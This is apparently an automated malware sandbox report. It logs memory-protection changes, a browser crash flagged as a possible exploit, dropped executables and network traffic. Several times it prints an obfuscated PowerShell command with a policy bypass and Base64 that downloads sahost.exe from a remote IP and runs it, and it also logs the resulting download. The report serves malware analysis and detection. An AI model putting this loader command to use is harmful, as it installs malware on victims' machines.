NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc1d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc1d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdc44000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdad1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9a000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2172 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002c30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefa1b7000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef69c9000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:08 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007feeca99000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 region_size: 6295552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000023f0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000029f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bad000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bd2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bb4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bd2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc1d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc1d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdc44000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdad1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9a000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9d000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9b000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077186000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772d6000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077181000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076ba0000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9a000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772af000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772bb000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefe117000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2252 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdbe4000 process_handle: 0xffffffffffffffff	1

An application raised an exception which may be indicative of an exploit crash (2 events)

Time & API	Arguments	Status	Return	Repeated
Application Crash	Process iexplore.exe with pid 2172 crashed
__exception__ Aug. 13, 2024, 5:08 p.m.	stacktrace: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefda5a49d RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefddc73c3 ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0043bf IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdde5295 I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdde2799 Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefde8af1e Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefde8b76c NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdde48d6 CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe130883 CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe130ccd CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe130c43 CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefdfea4f0 GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefdffd551 CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe13347e CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe13122b CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe133542 GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefdffd42d GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefdffd1d6 TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x76ba9bd1 TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x76ba98da GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefdffd0ab CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe123e57 ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefdfd0106 ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefdfd0182 BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7718652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x772bc521 exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00 exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d exception.instruction: add rsp, 0xc8 exception.module: KERNELBASE.dll exception.exception_code: 0x80040155 exception.offset: 42141 exception.address: 0x7fefda5a49d registers.r14: 0 registers.r15: 0 registers.rcx: 101901536 registers.rsi: 0 registers.r10: 0 registers.rbx: 0 registers.rsp: 101907488 registers.r11: 101903296 registers.r8: 0 registers.r9: 0 registers.rdx: 1 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 1898936729 registers.r13: 0	1	0	0

Application Crash

Process iexplore.exe with pid 2172 crashed

Time & API

Arguments

Status

Return

Repeated

__exception__

Aug. 13, 2024, 5:08 p.m.

stacktrace:

RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefda5a49d
RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefddc73c3
ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0043bf
IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdde5295
I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdde2799
Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefde8af1e
Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefde8b76c
NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdde48d6
CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe130883
CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe130ccd
CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe130c43
CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefdfea4f0
GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefdffd551
CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe13347e
CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe13122b
CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe133542
GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefdffd42d
GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefdffd1d6
TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x76ba9bd1
TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x76ba98da
GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefdffd0ab
CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe123e57
ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefdfd0106
ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefdfd0182
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7718652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x772bc521

Creates executable files on the filesystem (2 events)

file	c:\Users\test22\AppData\Local\Temp\kh2-la8c.dll
file	C:\Users\test22\AppData\Roaming\sahost.exe

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\Desktop\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (3 events)

cmdline	powErShElL.exE -eX bypasS -NOp -w 1 -C DeVicEcreDenTiALDEpLoymeNT.EXe ; IeX($(iEx('[SYsTeM.TeXT.enCodING]'+[chAr]58+[cHAr]0X3A+'uTF8.gEtSTRInG([syStEm.coNVErT]'+[cHaR]58+[Char]58+'FROMBASe64StRInG('+[chAR]0X22+'JEd4TyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRU1CRXJkZUZJbml0aW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMTU9OLkRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVdk1hTHlrWSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlzVHosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZZ0dHVmYsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3RwQXNhdCxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG15VEZlbWNaQ3QpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWhQQ3pCdkl5T3QiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRVNwQWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIVHZkeUxpZkppUiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJEd4Tzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvMzIvc2Fob3N0LmV4ZSIsIiRlTnY6QVBQREFUQVxzYWhvc3QuZXhlIiwwLDApO3NUYXJULXNsRUVQKDMpO1NUYXJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOdjpBUFBEQVRBXHNhaG9zdC5leGUi'+[CHaR]0x22+'))')))"
cmdline	"C:\Windows\system32\cmd.exe" "/c powErShElL.exE -eX bypasS -NOp -w 1 -C DeVicEcreDenTiALDEpLoymeNT.EXe ; IeX($(iEx('[SYsTeM.TeXT.enCodING]'+[chAr]58+[cHAr]0X3A+'uTF8.gEtSTRInG([syStEm.coNVErT]'+[cHaR]58+[Char]58+'FROMBASe64StRInG('+[chAR]0X22+'JEd4TyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRU1CRXJkZUZJbml0aW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMTU9OLkRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVdk1hTHlrWSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlzVHosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZZ0dHVmYsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3RwQXNhdCxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG15VEZlbWNaQ3QpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWhQQ3pCdkl5T3QiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRVNwQWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIVHZkeUxpZkppUiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJEd4Tzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvMzIvc2Fob3N0LmV4ZSIsIiRlTnY6QVBQREFUQVxzYWhvc3QuZXhlIiwwLDApO3NUYXJULXNsRUVQKDMpO1NUYXJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOdjpBUFBEQVRBXHNhaG9zdC5leGUi'+[CHaR]0x22+'))')))"
cmdline	C:\Windows\System32\cmd.exe "/c powErShElL.exE -eX bypasS -NOp -w 1 -C DeVicEcreDenTiALDEpLoymeNT.EXe ; IeX($(iEx('[SYsTeM.TeXT.enCodING]'+[chAr]58+[cHAr]0X3A+'uTF8.gEtSTRInG([syStEm.coNVErT]'+[cHaR]58+[Char]58+'FROMBASe64StRInG('+[chAR]0X22+'JEd4TyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRU1CRXJkZUZJbml0aW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMTU9OLkRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVdk1hTHlrWSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlzVHosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZZ0dHVmYsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3RwQXNhdCxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG15VEZlbWNaQ3QpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWhQQ3pCdkl5T3QiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRVNwQWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIVHZkeUxpZkppUiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJEd4Tzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvMzIvc2Fob3N0LmV4ZSIsIiRlTnY6QVBQREFUQVxzYWhvc3QuZXhlIiwwLDApO3NUYXJULXNsRUVQKDMpO1NUYXJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOdjpBUFBEQVRBXHNhaG9zdC5leGUi'+[CHaR]0x22+'))')))"

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\kh2-la8c.dll

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Aug. 13, 2024, 5:07 p.m.	show_type: 0 filepath_r: C:\Windows\system32\cmd.exe parameters: "/c powErShElL.exE -eX bypasS -NOp -w 1 -C DeVicEcreDenTiALDEpLoymeNT.EXe ; IeX($(iEx('[SYsTeM.TeXT.enCodING]'+[chAr]58+[cHAr]0X3A+'uTF8.gEtSTRInG([syStEm.coNVErT]'+[cHaR]58+[Char]58+'FROMBASe64StRInG('+[chAR]0X22+'JEd4TyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRU1CRXJkZUZJbml0aW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMTU9OLkRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVdk1hTHlrWSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlzVHosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZZ0dHVmYsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3RwQXNhdCxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG15VEZlbWNaQ3QpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWhQQ3pCdkl5T3QiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRVNwQWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIVHZkeUxpZkppUiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJEd4Tzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvMzIvc2Fob3N0LmV4ZSIsIiRlTnY6QVBQREFUQVxzYWhvc3QuZXhlIiwwLDApO3NUYXJULXNsRUVQKDMpO1NUYXJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOdjpBUFBEQVRBXHNhaG9zdC5leGUi'+[CHaR]0x22+'))')))" filepath: C:\Windows\System32\cmd.exe	1	1	0

URL downloaded by powershell script (2 events)

Data received

HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 08:16:07 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Tue, 13 Aug 2024 03:19:33 GMT ETag: "e6800-61f88141f643d" Accept-Ranges: bytes Content-Length: 944128 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/lnk MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL:Ðºfà0V þt @ À@ªt O ¤ Ø! T H.textU V `.rsrc¤ X @@.reloc f@BÞt HÔ <1Èð &(' *(' (((*{*"}*{*"}*{*"}*0Iu

Poweshell is sending data to a remote host (2 events)

Data sent	!
Data sent	GET /32/sahost.exe HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Host: 192.3.176.138 Connection: Keep-Alive

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
